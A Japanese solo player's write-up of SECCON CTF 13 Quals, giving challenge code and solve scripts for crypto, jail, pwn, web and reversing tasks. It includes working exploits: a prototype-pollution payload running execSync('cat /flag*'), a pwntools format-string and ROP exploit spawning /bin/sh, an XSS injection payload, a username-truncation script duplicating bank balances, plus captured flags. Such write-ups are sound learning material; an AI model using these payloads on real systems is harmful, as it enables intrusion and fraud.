SECCON CTF 13 Quals 全体 43 位 / 国内 13 位 でした
国内のソロチームとしては一番上っぽいです。

目次 (解いた順)
- Welcome (welcome, 639 solves, 50 pts)
- reiwa_rot13 (crypto, 127 solves, 91 pts)
- pp4 jail (jail, 41 solves, 149 pts)
- Paragraph (pwnable, 61 solves, 125 pts)
- packed (reversing, 119 solves, 93 pts)
- Tanuki Udon (web, 41 solves, 149 pts)
- dual_summon (crypto, 63 solves, 123 pts)
- Jump (reversing, 69 solves, 118 pts)
- Trillion Bank (web, 84 solves, 108 pts)
Welcome (welcome, 639 solves, 50 pts)
Discord にフラグがあった。
flag: SECCON{Welcome_to_SECCON2024^H^H^H^H13}
reiwa_rot13 (crypto, 127 solves, 91 pts)
from Crypto.Util.number import * import codecs import string import random import hashlib from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from flag import flag p = getStrongPrime(512) q = getStrongPrime(512) n = p*q e = 137 key = ''.join(random.sample(string.ascii_lowercase, 10)) rot13_key = codecs.encode(key, 'rot13') key = key.encode() rot13_key = rot13_key.encode() print("n =", n) print("e =", e) print("c1 =", pow(bytes_to_long(key), e, n)) print("c2 =", pow(bytes_to_long(rot13_key), e, n)) key = hashlib.sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print("encyprted_flag = ", cipher.encrypt(flag))
長さ 10 の英小文字列 とそれを rot13 したもの
を
の RSA で暗号化している。
このとき、
について
のどちらかが成り立つ。これは 通りなので全探索可能。
すると、2つの平文の差が判明している RSA になるので、Franklin-Reiter Related Message Attack で解ける。
# HALF GCD: https://github.com/jvdsn/crypto-attacks/blob/master/shared/polynomial.py import logging from math import lcm def _polynomial_hgcd(ring, a0, a1): assert a1.degree() < a0.degree() if a1.degree() <= a0.degree() / 2: return 1, 0, 0, 1 m = a0.degree() // 2 b0 = ring(a0.list()[m:]) b1 = ring(a1.list()[m:]) R00, R01, R10, R11 = _polynomial_hgcd(ring, b0, b1) d = R00 * a0 + R01 * a1 e = R10 * a0 + R11 * a1 if e.degree() < m: return R00, R01, R10, R11 q, f = d.quo_rem(e) g0 = ring(e.list()[m // 2:]) g1 = ring(f.list()[m // 2:]) S00, S01, S10, S11 = _polynomial_hgcd(ring, g0, g1) return S01 * R00 + (S00 - q * S01) * R10, S01 * R01 + (S00 - q * S01) * R11, S11 * R00 + (S10 - q * S11) * R10, S11 * R01 + (S10 - q * S11) * R11 def fast_polynomial_gcd(a0, a1): """ Uses a divide-and-conquer algorithm (HGCD) to compute the polynomial gcd. More information: Aho A. et al., "The Design and Analysis of Computer Algorithms" (Section 8.9) :param a0: the first polynomial :param a1: the second polynomial :return: the polynomial gcd """ # TODO: implement extended variant of half GCD? assert a0.parent() == a1.parent() if a0.degree() == a1.degree(): if a1 == 0: return a0 a0, a1 = a1, a0 % a1 elif a0.degree() < a1.degree(): a0, a1 = a1, a0 assert a0.degree() > a1.degree() ring = a0.parent() # Optimize recursive tail call. while True: logging.debug(f"deg(a0) = {a0.degree()}, deg(a1) = {a1.degree()}") _, r = a0.quo_rem(a1) if r == 0: return a1.monic() R00, R01, R10, R11 = _polynomial_hgcd(ring, a0, a1) b0 = R00 * a0 + R01 * a1 b1 = R10 * a0 + R11 * a1 if b1 == 0: return b0.monic() _, r = b0.quo_rem(b1) if r == 0: return b1.monic() a0 = b1 a1 = r from Crypto.Util.number import long_to_bytes from Crypto.Cipher import AES from hashlib import sha256 n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927 e = 137 c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679 c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233 encyprted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4" PR.<x> = PolynomialRing(Zmod(n)) for b in range(1024): C1 = x C2 = x t = b for i in range(10): if t & 1: C2 += 13 * 256^i else: C2 += -13 * 256^i t //= 2 f1 = C1^e - c1 f2 = C2^e - c2 p = fast_polynomial_gcd(f1, f2) if p != 1: print(f"gcd: {p}") m = -p[0] key = long_to_bytes(int(m)) print(f"key: {key}") key = sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print(f"flag: {cipher.decrypt(encyprted_flag).decode()}")
flag: SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}
pp4 jail (jail, 41 solves, 149 pts)
#!/usr/local/bin/node const readline = require("node:readline/promises"); const rl = readline.createInterface({input: process.stdin,output: process.stdout,}); const clone = (target, result = {}) => { for (const [key, value] of Object.entries(target)) { if (value && typeof value == "object") { if (!(key in result)) result[key] = {}; clone(value, result[key]); } else { result[key] = value; } } return result; }; (async () => { // Step 1: Prototype Pollution const json = (await rl.question("Input JSON: ")).trim(); console.log(clone(JSON.parse(json))); // Step 2: JSF**k with 4 characters const code = (await rl.question("Input code: ")).trim(); if (new Set(code).size > 4) { console.log("Too many :("); return; } console.log(eval(code)); })().finally(() => rl.close());
好きなだけ Prototype Pollution していいから、そのあと 4 種類の文字だけで RCE してね、という問題。
頑張ってパズルすると、
{"__proto__":{"":"<PAYLOAD>","<PAYLOAD>":"constructor"}}
と Prototype Pollution すると、
[][[][[][[]]]][[][[][[]]]]([][[]])()
と書けば
[]["constructor"]["constructor"]("<PAYLOAD>")()
相当のことができて、RCE 可能。
Input JSON: {"__proto__":{"":"console.log(process.mainModule.require('child_process').execSync('cat /flag*').toString())","console.log(process.mainModule.require('child_process').execSync('cat /flag*').toString())":"constructor"}} Input code: [][[][[][[]]]][[][[][[]]]]([][[]])()
flag: SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}
Paragraph (pwnable, 61 solves, 125 pts)
#include <stdio.h> int main() { char name[24]; setbuf(stdin, NULL); setbuf(stdout, NULL); printf("\"What is your name?\", the black cat asked.\n"); scanf("%23s", name); printf(name); printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name); return 0; }
FSB っぽいが、stack を書き換えるには文字数制限がきつすぎる。
頭を柔らかくして考えると、printf の GOT を scanf のものにすることで、
printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);
の部分で BOF できるようになる。
あとは気合。
from pwn import * import sys ################################################ # context.log_level = "DEBUG" FILENAME = "./chall_patched" LIBCNAME = "./libc.so.6" host = "paragraph.seccon.games" port = 5000 ################################################ context(os="linux", arch="amd64") binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME != "" else None if len(sys.argv) > 1: if sys.argv[1][0] == "d": cmd = """ set follow-fork-mode parent b main c b *0x401281 """ io = gdb.debug(FILENAME, cmd) elif sys.argv[1][0] == "r": io = remote(host, port) else: io = process(FILENAME) io.recvuntil(b"asked.\n") io.sendline(b"%4198496c%8$lln_" + p64(0x404028)[:6]) io.recvuntil(p64(0x404028)[:3]) p = b"A" * 40 p += p64(0x401281) # 0x401281: pop rsi ; pop r15 ; ret ; p += p64(0x404150) # .bss p += p64(0) p += p64(0x401283) # 0x401283: pop rdi ; ret ; p += p64(0x403078) # %s warmly.\n p += p64(0x401060) # scanf p += p64(0x401283) # 0x401283: pop rdi ; ret ; p += p64(0x404050) # 0x404050 <stdout@@GLIBC_2.2.5>: 0x00007d0f7ba045c0 p += p64(0x401030) # puts p += p64(0x401196) # main io.sendline( b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted ' + p + b" warmly.\n\n" ) io.sendline(b"/bin/sh #" + b" warmly.\n\n") res = io.recvline().strip() leakedlibc = u64(res.ljust(8, b"\x00")) log.info(f"leaked libc: {hex(leakedlibc)}") libc.address = leakedlibc - libc.sym["_IO_2_1_stdout_"] log.info(f"libc base: {hex(libc.address)}") p = b"A" * 40 """ 0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ) constraints: address rsp+0x68 is writable rsp & 0xf == 0 rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv rbx == NULL || (u16)[rbx] == NULL """ p += p64(libc.address + 0x10E243) # pop rcx ; ret p += p64(0) p += p64(libc.address + 0x5ACE9) # pop rbx ; ret p += p64(0) p += p64(libc.address + 0x583E3) # posix_spawn io.recvuntil(b"asked.\n") io.sendline( b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted ' + p + b" warmly.\n\n" ) io.interactive()
flag: SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
packed (reversing, 119 solves, 93 pts)
packer とかよくわからなかったので フラグの文字数を特定 → xor してるだけっぽいので、とりあえず a で埋めて何と xor されてるか動的解析で復号した。
buf1 = [0x89,0x2b,0x61,0x61,0x61,0xe2,0x98,0x28,0x14,0x25,0x32,0x36,0x29,0xec,0x2d,0x56,0x9c,0x3f,0x37,0x3a,0x8a,0x4e,0x29,0x58,0xaf,0x12,0x53,0x37,0x3f,0xcd,0x5d,0xe1,0x13,0x6b,0x5d,0xee,0x16,0x67,0xe1,0x1f,0x9f,0x6e,0x15,0x67,0x4d,0x89,0x5d,0x60,0x7d,0x00,0x00,0x00,0x00,0x00,0x00,0x00] buf2 = [0xbb,0x0f,0x43,0x43,0x4f,0xcd,0x82,0x1c,0x25,0x1c,0x0c,0x24,0x7f,0xf8,0x2e,0x68,0xcc,0x2d,0x09,0x3a,0xb4,0x48,0x78,0x56,0xaa,0x2c,0x42,0x3a,0x6a,0xcf,0x0f,0xdf,0x14,0x3a,0x4e,0xd0,0x1f,0x37,0xe4,0x17,0x90,0x39,0x2b,0x65,0x1c,0x8c,0x0f,0x7c,0x7d,0xb9,0x31,0x00,0x00,0x00,0x5e,0x48] for i in range(0x30): print(chr(buf1[i]^buf2[i]^ord("a")),end="") print()
flag: SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}
Tanuki Udon (web, 41 solves, 149 pts)

メモアプリで、XSS をする問題。
本質はここ。
const escapeHtml = (content) => { return content .replaceAll('&', '&') .replaceAll(`"`, '"') .replaceAll(`'`, ''') .replaceAll('<', '<') .replaceAll('>', '>'); } const markdown = (content) => { const escaped = escapeHtml(content); return escaped .replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`) .replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`) .replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`) .replace(/ $/mg, `<br>`); }
この markdown パーサに対してパズルをすると、XSS が可能。
]( onerror=alert`1` )
↓
<img alt="" src="["></img>]( onerror=alert`1` )
↓
<img alt="" src="<a href=" onerror=alert`1` ">"></img></a>
あとは頑張ってペイロードを書く。
]( onerror=document.body.innerHTML=atob`<payload>` )
として、<payload> には <img src=x onerror=(payload)> を base64 でエンコードしたものを入れるなどすれば良い。
flag: SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}
おまけ (ちょっと面白かった)

dual_summon (crypto, 63 solves, 123 pts)
from Crypto.Cipher import AES import secrets import os import signal signal.alarm(300) flag = os.getenv("flag", "SECCON{sample}") keys = [secrets.token_bytes(16) for _ in range(2)] nonce = secrets.token_bytes(16) def summon(number, plaintext): assert len(plaintext) == 16 aes = AES.new(key=keys[number - 1], mode=AES.MODE_GCM, nonce=nonce) ct, tag = aes.encrypt_and_digest(plaintext) return ct, tag # When you can exec dual_summon, you will win def dual_summon(plaintext): assert len(plaintext) == 16 aes1 = AES.new(key=keys[0], mode=AES.MODE_GCM, nonce=nonce) aes2 = AES.new(key=keys[1], mode=AES.MODE_GCM, nonce=nonce) ct1, tag1 = aes1.encrypt_and_digest(plaintext) ct2, tag2 = aes2.encrypt_and_digest(plaintext) # When using dual_summon you have to match tags assert tag1 == tag2 print("Welcome to summoning circle. Can you dual summon?") for _ in range(10): mode = int(input("[1] summon, [2] dual summon >")) if mode == 1: number = int(input("summon number (1 or 2) >")) name = bytes.fromhex(input("name of sacrifice (hex) >")) ct, tag = summon(number, name) print(f"monster name = [---filtered---]") print(f"tag(hex) = {tag.hex()}") if mode == 2: name = bytes.fromhex(input("name of sacrifice (hex) >")) dual_summon(name) print("Wow! you could exec dual_summon! you are master of summoner!") print(flag)
nonce が常に共通で鍵が不明の 2 つの AES-GCM が与えられる。 9 回まで 16 バイトの暗号文を暗号したときの tag を得ることができて、最後に 2 つの tag が一致するような暗号文を送信すれば flag が得られる。
の鍵と nonce から得られる値を次のようにとる。
すると、,
である。
以降、多項式 によって定義される
上で考えることにすると、
であり、また
である。ここで を代入したときの
を
とすると、
つまり、 であるので、これから
を求めることができる。
が求まったらあとは
が一致するような
を求めれば良い。
from Crypto.Util.number import long_to_bytes, bytes_to_long from Crypto.Cipher import AES F.<a> = GF(2^128, modulus=x^128 + x^7 + x^2 + x + 1) P.<x> = PolynomialRing(F) def bytes_to_poly(b): v = int.from_bytes(b, 'big') v = int(f"{v:0128b}"[::-1], 2) return F.from_integer(v) def poly_to_bytes(p): v = p.to_integer() v = int(f"{v:0128b}"[::-1], 2) return v.to_bytes(16, 'big') from pwn import * io = remote("dual-summon.seccon.games", 2222) io.recvuntil(b"[1] summon, [2] dual summon >") io.sendline(b"1") io.recvuntil(b"summon number (1 or 2) >") io.sendline(b"1") io.recvuntil(b"name of sacrifice (hex) >") io.sendline((poly_to_bytes(F.from_integer(0))).hex().encode()) io.recvuntil(b"tag(hex) = ") t10 = bytes.fromhex(io.recvline().strip().decode()) t10 = bytes_to_poly(t10) io.recvuntil(b"[1] summon, [2] dual summon >") io.sendline(b"1") io.recvuntil(b"summon number (1 or 2) >") io.sendline(b"1") io.recvuntil(b"name of sacrifice (hex) >") io.sendline((poly_to_bytes(F.from_integer(1))).hex().encode()) io.recvuntil(b"tag(hex) = ") t11 = bytes.fromhex(io.recvline().strip().decode()) t11 = bytes_to_poly(t11) f = x^2 - (t11 - t10) rs = f.roots() for r in rs: H1 = r[0] print("H1 =", poly_to_bytes(H1).hex()) io.recvuntil(b"[1] summon, [2] dual summon >") io.sendline(b"1") io.recvuntil(b"summon number (1 or 2) >") io.sendline(b"2") io.recvuntil(b"name of sacrifice (hex) >") io.sendline((poly_to_bytes(F.from_integer(0))).hex().encode()) io.recvuntil(b"tag(hex) = ") t20 = bytes.fromhex(io.recvline().strip().decode()) t20 = bytes_to_poly(t20) io.recvuntil(b"[1] summon, [2] dual summon >") io.sendline(b"1") io.recvuntil(b"summon number (1 or 2) >") io.sendline(b"2") io.recvuntil(b"name of sacrifice (hex) >") io.sendline((poly_to_bytes(F.from_integer(1))).hex().encode()) io.recvuntil(b"tag(hex) = ") t21 = bytes.fromhex(io.recvline().strip().decode()) t21 = bytes_to_poly(t21) f = x^2 - (t21 - t20) rs = f.roots() for r in rs: H2 = r[0] print("H2 =",poly_to_bytes(H2).hex()) f = x * (H1^2 + H2^2) + t10 + t20 rs = f.roots() for r in rs: ans = r[0] print("ans =",poly_to_bytes(ans).hex()) io.recvuntil(b"[1] summon, [2] dual summon >") io.sendline(b"2") io.recvuntil(b"name of sacrifice (hex) >") io.sendline(poly_to_bytes(ans).hex().encode()) io.interactive()
flag: SECCON{Congratulation!_you are_master_of_summonor!_you_can_summon_2_monsters_in_one_turn}
Jump (reversing, 69 solves, 118 pts)
ARM バイナリ の解析問題。
気合で動的解析 + 静的解析 + エスパー するといくつかの条件式が出てくるので、解く。
flag_parts = [0] * 8 # flag[0:4] == 0x43434553 flag_parts[0] = 0x43434553 # flag[4:8] == 0xdeadbeef ^ 0xebd6f0a0 flag_parts[1] = 0xDEADBEEF ^ 0xEBD6F0A0 # flag[8:12] == 0xdeadbeef ^ 0xedb6f0a0 flag_parts[2] = 0xCAFEBABE ^ 0xF9958ED6 # flag[12:16] == 0x00c0ffee ^ 0x5fb4ceb1 flag_parts[3] = 0x00C0FFEE ^ 0x5FB4CEB1 # flag[12:16] + flag[16:20] == 0x94d3a1d4 flag_parts[4] = 0x94D3A1D4 - flag_parts[3] # flag[16:20] + flag[20:24] == 0x9d949ddd flag_parts[5] = 0x9D949DDD - flag_parts[4] # flag[20:24] + flag[24:28] == 0x9d9d6295 flag_parts[6] = 0x9D9D6295 - flag_parts[5] # flag[24:28] - flag[28:32] == 0x47cb363b flag_parts[7] = 0x47CB363B + flag_parts[6] flag = b"" for part in flag_parts: flag += part.to_bytes(4, "little") print(flag.decode())
flag: SECCON{5h4k3_1t_up_5h-5h-5h5hk3}
Trillion Bank (web, 84 solves, 108 pts)

送金アプリ。初期残高が 10 で、1 兆以上になるとフラグがもらえる。
... const TRILLION = 1_000_000_000_000; ... const names = new Set(); ... app.post("/api/register", async (req, res) => { const name = String(req.body.name); if (!/^[a-z0-9]+$/.test(name)) { res.status(400).send({ msg: "Invalid name" }); return; } if (names.has(name)) { res.status(400).send({ msg: "Already exists" }); return; } names.add(name); const [result] = await db.query("INSERT INTO users SET ?", { name, balance: 10, }); res .setCookie("session", await res.jwtSign({ id: result.insertId })) .send({ msg: "Succeeded" }); }); app.get("/api/me", { onRequest: auth }, async (req, res) => { try { const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]); req.user.balance = balance; } catch (err) { return res.status(500).send({ msg: err.message }); } if (req.user.balance >= TRILLION) { req.user.flag = FLAG; // 💰 } res.send(req.user); }); app.post("/api/transfer", { onRequest: auth }, async (req, res) => { const recipientName = String(req.body.recipientName); if (!names.has(recipientName)) { res.status(404).send({ msg: "Not found" }); return; } const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]); if (id === req.user.id) { res.status(400).send({ msg: "Self-transfer is not allowed" }); return; } const amount = parseInt(req.body.amount); if (!isFinite(amount) || amount <= 0) { res.status(400).send({ msg: "Invalid amount" }); return; } const conn = await db.getConnection(); try { await conn.beginTransaction(); const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [ req.user.id, ]); if (amount > balance) { throw new Error("Invalid amount"); } await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [ amount, req.user.id, ]); await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [ amount, recipientName, ]); await conn.commit(); } catch (err) { await conn.rollback(); return res.status(500).send({ msg: err.message }); } finally { db.releaseConnection(conn); } res.send({ msg: "Succeeded" }); }); ...
CREATE TABLE users ( id INT AUTO_INCREMENT NOT NULL, name TEXT NOT NULL, balance BIGINT NOT NULL, PRIMARY KEY (id) )
/api/transfer を見る感じ同じ name のユーザーがいたらまずいことが起こりそうだけど、Set でチェックされている。
しかし、よく考えると mysql の TEXT 型は 65535 バイトまでしか格納できず、それを超える長さの文字列は切り捨てられることを思いつける。
よって、[適当な65535文字], [適当な65535文字]2, [適当な65535文字]3 の 3 人のユーザーをこの順に登録して、[適当な65535文字]2 → [適当な65535文字] に送金することで [適当な65535文字]2 の所持金を減らさずに, [適当な65535文字] と [適当な65535文字]3 の所持金を送金しただけ増やすことができる。 [適当な65535文字]3 → [適当な65535文字] に送金するときも同様なので、[適当な65535文字]2 → [適当な65535文字] と [適当な65535文字]3 → [適当な65535文字] を交互に繰り返すことで [適当な65535文字] の所持金をどんどん増やせる。
import httpx import random import string username1 = "".join(random.choices(string.ascii_lowercase, k=65535)) username2 = username1 + "2" username3 = username1 + "3" with httpx.Client() as client: response = client.post( "http://trillion.seccon.games:3000/api/register", json={"name": username1} ) print(response.text) sess1 = response.cookies["session"] with httpx.Client() as client: response = client.post( "http://trillion.seccon.games:3000/api/register", json={"name": username2} ) print(response.text) sess2 = response.cookies["session"] with httpx.Client() as client: response = client.post( "http://trillion.seccon.games:3000/api/register", json={"name": username3} ) print(response.text) sess3 = response.cookies["session"] user1_money = 10 user2_money = 10 user3_money = 10 while user1_money < 1000000000000: with httpx.Client() as client: res = client.post( "http://trillion.seccon.games:3000/api/transfer", json={"recipientName": username1, "amount": user2_money}, cookies={"session": sess2}, ) print(res.text) user1_money += user2_money user3_money += user2_money with httpx.Client() as client: res = client.post( "http://trillion.seccon.games:3000/api/transfer", json={"recipientName": username1, "amount": user3_money}, cookies={"session": sess3}, ) print(res.text) user1_money += user3_money user2_money += user3_money with httpx.Client() as client: res = client.get( "http://trillion.seccon.games:3000/api/me", cookies={"session": sess1}, ) print(res.text)
flag: SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}